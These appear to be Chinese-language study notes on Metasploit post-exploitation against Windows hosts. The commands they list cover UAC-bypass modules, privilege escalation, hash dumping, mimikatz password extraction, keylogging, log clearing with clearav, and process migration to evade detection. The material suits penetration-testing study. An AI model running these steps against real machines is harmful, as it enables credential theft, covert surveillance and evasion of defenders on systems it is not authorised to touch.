一、post后渗透模块
1、MSF后渗透的起点:
其实在拿到meterpreter之后,就正式步入后渗透阶段了,后渗透的第一步就是要做好信息收集,因此就可以在这边直接run一个post模块收集受害机器的信息
可以先输入run post/,然后搓几下tab键,查看都有哪些命令
2、基本命令:
sessions //sessions –h 查看帮助
sessions -i <ID值> //进入会话 -k 杀死会话
background //将当前会话放置后台
run //执行已有的模块,输入run后按两下tab,列出已有的脚本
info //查看已有模块信息
getuid //查看权限
getpid //获取当前进程的pid
sysinfo //查看目标机系统信息
ps //查看当前活跃进程 kill <PID值> 杀死进程
idletime //查看目标机闲置时间
reboot / shutdown //重启/关机
shell //进入目标机cmd shell
clearav //清除windows中的应用程序日志、系统日志、安全日志
getlwd 或者 lpwd //操作攻击者主机 查看当前目录
lcd /tmp //操作攻击者主机 切换目录
2、常用的几个post模块命令
run post/windows/gather/hashdump //执行后会给出MSF建议的exploit
run post/windows/gather/smart_hashdump //获取hash值
run post/multi/recon/local_exploit_suggester //获取hash值
run post/multi/gather/firefox_creds //获取火狐密码
run post/multi/gather/ssh_creds //收集目标机器上所有用户的.ssh目录的内容。
run post/windows/gather/enum_applications //列举Windows系统上所有已安装的应用程序。
二、Windows提权——UAC绕过
1、UAC的定义:
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
2、UAC的运作:
一旦程序执行设计系统更改/特定任务就会触发UAC,除非尝试执行他们的进程以管理员权限运行,否则这些操作都将被阻止。二没有管理员权限将无法执行以下操作:
①注册表修改(如果注册表项位于如HKEY_LOCAL_MACHINE下【因为它影响多个用户】,它将是只读的)
②加载设备驱动程序
③DLL注入
④修改系统时间(clock)
⑤修改用户账户控制设置(通过注册表可以启用/禁用它,但你需要正确的权限才能执行该操作)
⑥修改受保护的目录(如Windows文件夹,pragram files)
⑦计划任务(例如,以管理员权限自启动)
3、MSF绕过UAC的命令:
其实直接search bypassuac 或者 search uac看一下就好
还是列出来吧:
0 exploit/windows/local/bypassuac
1 exploit/windows/local/bypassuac_comhijack
2 exploit/windows/local/bypassuac_dotnet_profiler
3 exploit/windows/local/bypassuac_eventvwr
4 exploit/windows/local/bypassuac_fodhelper
5 exploit/windows/local/bypassuac_injection
6 exploit/windows/local/bypassuac_injection_winsxs
7 exploit/windows/local/bypassuac_sdclt
8 exploit/windows/local/bypassuac_silentcleanup
9 exploit/windows/local/bypassuac_sluihijack
10 exploit/windows/local/bypassuac_vbs
11 exploit/windows/local/bypassuac_windows_store_filesys
12 exploit/windows/local/bypassuac_windows_store_reg
4、具体操作:
先把会话放到后台
然后use所要的exploit
这里需要set 刚刚我们放入后台的session。居然失败了?啥情况
可能是我这session的权限已经够高了,但是用法就是这么用的
不行,越想越气,想个办法把它的权限降下来,用migrate -p把会话注入一个低权限的进程中
Ok,成了
三、Windows提权的思路及其他方式
1、可以先敲getsystem试一试:
2、UAC绕过:
然后再试试绕过UAC,有时候UAC绕过了就不一定需要system权限了,这里就不做演示了,上面有实操过
3、使用MSF的漏洞建议模块:
如果还不行,就use post/multi/recon/local_exploit_suggest,该模块可以提出使用哪些本地meterpreter漏洞的建议。所建议的漏洞是基于用户打开shell的架构和平台,以及meterpreter中可用的漏洞。值得注意的是,不是所有的本地漏洞都会被触发。漏洞的选择是基于这些条件:会话类型、平台、架构和所需的默认选项。得出结果后我们可以一个一个尝试这些exploit,由新到旧进行尝试,这条命令执行可能比较慢,耐心等一会
4、直接检索提权相关的命令:
又或者可以search exploit/windows/local ,这里面有很多提权的命令(提权在show option中一般都要填写 session id,可以以此来判断;亦或以描述中是否存在escalation来判断),用的时候最好选择带“ms”的,我这里搜索出88条
四、获取明文密码和hash
1、前提:
前提是需要有一个高权限的用户,且目标已经登录(可以注销,但不能关机或重启)
2、原理:
从lsass.exe进程中获取密码
3、获取哈希值
得到高权限的shell后,可以直接输入hashdump
也可以run post/windows/gather/hashdump
4、获取明文密码
先加载mimikatz,输入load mimikatz
再输入wdigest获取明文密码,也可以输入kerberos和msv获取
五、MSF进程迁移
1、进程迁移的目的:
正常使用exe上线的情况下,如果对方用任务管理器或者直接使用“tasklist”命令就可以看到我们的进程,为了避免这一状况,我们就需要将敏感进程迁移到其他原有的进程上面,相当于寄生。
2、手动迁移:
先输入ps查看目标机器的进程
然后使用migrate命令迁移,用法如下:
Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]
Migrates the server instance to another process.
NOTE: Any open channels or other dynamic state will be lost.
例如:migrate -P 2680 或者 migrate 2680 亦或者 migrate -N conhost.exe
3、自动迁移:
自动迁移指反弹shell就自动执行进程迁移命令,因此在配置监听器的时候可以设置:
set autorunscript migrate -n explorer.exe //迁移至指定进程
set autorunscript -f //默认迁移到notepad记事本进程
我们尝试迁移到explorer.exe,成了
六、MSF键盘记录、屏幕截图、文件操作、load扩展
其实获取一个session后直接输入help查看命令就可以了
1、键盘记录:
keyscan_start //开启键盘记录
keyscan_dump //读取键盘记录
2、屏幕截图
screenshot //屏幕截图
3、文件操作
upload /root/xx.exe c:/xx.exe //上传本机文件到靶机
download e:/1.txt /root/1.txt //将目标机器某个文件下载至本机
4、load扩展
可以用load -h 或者 load -l 查看一下命令